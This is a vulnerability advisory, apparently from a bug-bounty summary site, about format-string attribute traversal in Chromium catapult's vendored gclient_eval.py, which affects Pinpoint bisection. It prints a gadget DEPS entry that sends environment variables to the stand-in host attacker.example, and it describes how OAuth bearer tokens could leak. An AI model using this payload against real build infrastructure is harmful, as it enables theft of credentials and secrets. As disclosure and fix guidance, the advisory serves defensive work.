Code injection in Bisection (CVE-2026-79249)
The vendored copy of gclient_eval.py in catapult lacks the _SafeFormatter mitigation, so parsing a malicious DEPS file with nested attribute lookups in format placeholders can traverse Python attributes to read environment variables. An attacker could potentially exfiltrate Google App Engine credentials via logged URLs or authenticated HTTP requests.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 2 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A copy of gclient_eval.py vendored by catapult for Pinpoint lacks the safety formatting filters used upstream in depot_tools to prevent native str.format() sandbox escapes. Consequently, parsing a maliciously crafted DEPS file with nested attribute lookups can potentially allow an attacker to traverse Python attributes to retrieve sensitive environment variables and exfiltrate Google App Engine credentials. This affects Pinpoint's bisection service which evaluates historical DEPS files during regression analysis.
Affected files:
third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py
Estimated timestamp from git blame: 2020-07-13
Description
The catapult-vendored copy of gclient_eval.py at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py does not include the _SafeFormatter mitigation class defined upstream in third_party/depot_tools/gclient_eval.py. Upstream, _SafeFormatter rejects attribute and item traversal (. or [ in format placeholders) before rendering.
Without this safety wrapper, the catapult-vendored code calls native str.format() on evaluated string templates directly:
- Line 340:
return node.s.format(**vars_dict)within_convert - Line 503:
dep_name = dep_name.format(**vars_dict)within_StandardizeDeps
Potential Gadget Chain
An attacker could potentially craft a schema-compliant DEPS file using the permitted ConstantString type (exposed as Str() inside the sandbox parser):
vars = {
'g': Str('x'),
}
deps = {
'src/x': 'https://attacker.example/{g.__class__.__init__.__globals__[sys].modules[os].environ}@deadbeef',
}
During evaluation, gclient_eval resolves g to a ConstantString instance. Because the file imports sys globally, the native str.format() walks from the instance's __class__.__init__.__globals__ to the global sys module, resolves os.environ, and serializes the server's environment variables directly into the resulting URL template.
Potential Trigger Path
- Commit Submission: An attacker lands a modified
DEPSfile with the gadget above in any repository tracked by Chromium or its recursedeps. Even if reverted, the commit remains in the git history. - Bisection Execution: A Pinpoint bisection job runs across the commit range. To identify dependency changes, the engine invokes
Commit.Deps()inthird_party/catapult/dashboard/dashboard/pinpoint/models/change/commit.pyat line 107. - DEPS Parsing: Pinpoint pulls the file content via Gitiles and passes it to the vulnerable parser:
gclient_eval.Parse(deps_file_contents, ...)(line 130). This executes the direct.format()expansion.
Potential Exfiltration Channels
- Cloud Logging: The parsed URL with the serialized environment is logged via
logging.debugat line 150 ofcommit.py. - App Engine Datastore: If the dependency URL is processed, it is registered in
Repositoryvia_AddRepositoryinrepository.pyand written to the ndb Datastore viaput(). - Authenticated HTTP GET Request: If adjacent commits carry differing repository urls, subsequent bisection checks trigger
gitiles_service.CommitRange(). This issues an HTTPS GET request using an authenticated client configured viautils.ServiceAccountHttp()(which wrapsgoogle_auth_httplib2.AuthorizedHttp), leaking the serialized environment within the URL and the service-account OAuth bearer credentials in theAuthorizationheader to the attacker's server.
Note: These are potential steps and impacts identified by analysis; our tooling does not currently have the capability to run code to confirm live exploitability on production App Engine instances.
Suggested Fix
Backport the safety implementation from third_party/depot_tools/gclient_eval.py into the catapult copy at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py. Specifically, implement the _SafeFormatter class:
class _SafeFormatter(string.Formatter):
def get_field(self, field_name, args, kwargs):
if '.' in field_name or '[' in field_name:
raise ValueError('Attribute and item access are not allowed: %s' % field_name)
return super(_SafeFormatter, self).get_field(field_name, args, kwargs)
And wrap variable expansion to ensure nested attribute lookups are strictly rejected.
Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Raised in root component due to access or custom field issues on 1457058
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The catapult-vendored copy of gclient_eval.py omits the _SafeFormatter class that upstream depot_tools uses to reject attribute and item traversal in format placeholders.
Impact
The serialized environment variables could be leaked through cloud logging, the App Engine datastore, or an authenticated HTTP GET request that also exposes service-account OAuth bearer credentials; the report notes these are potential impacts not confirmed on production.
What the attacker needed
Ability to commit a DEPS file to a tracked repo; a Pinpoint bisection job runs over that commit
The fix
The safety implementation from depot_tools should be backported into the catapult copy, adding the _SafeFormatter class to reject attribute and item access in format placeholders.
How it was found
- An attacker commits a modified DEPS file containing the gadget to a tracked repository.
- A Pinpoint bisection job runs across the commit range and calls Commit.Deps().
- Pinpoint fetches the DEPS file via Gitiles and passes it to gclient_eval.Parse().
- The vulnerable parser calls native str.format() and expands the nested attribute lookup.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A DEPS file is a configuration file used by Chromium's build tools to list dependencies. The code that reads it used Python's string formatting without a safety check, so a crafted file could make the program reveal secret environment variables. The report is a theoretical analysis and was not confirmed on a live system.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.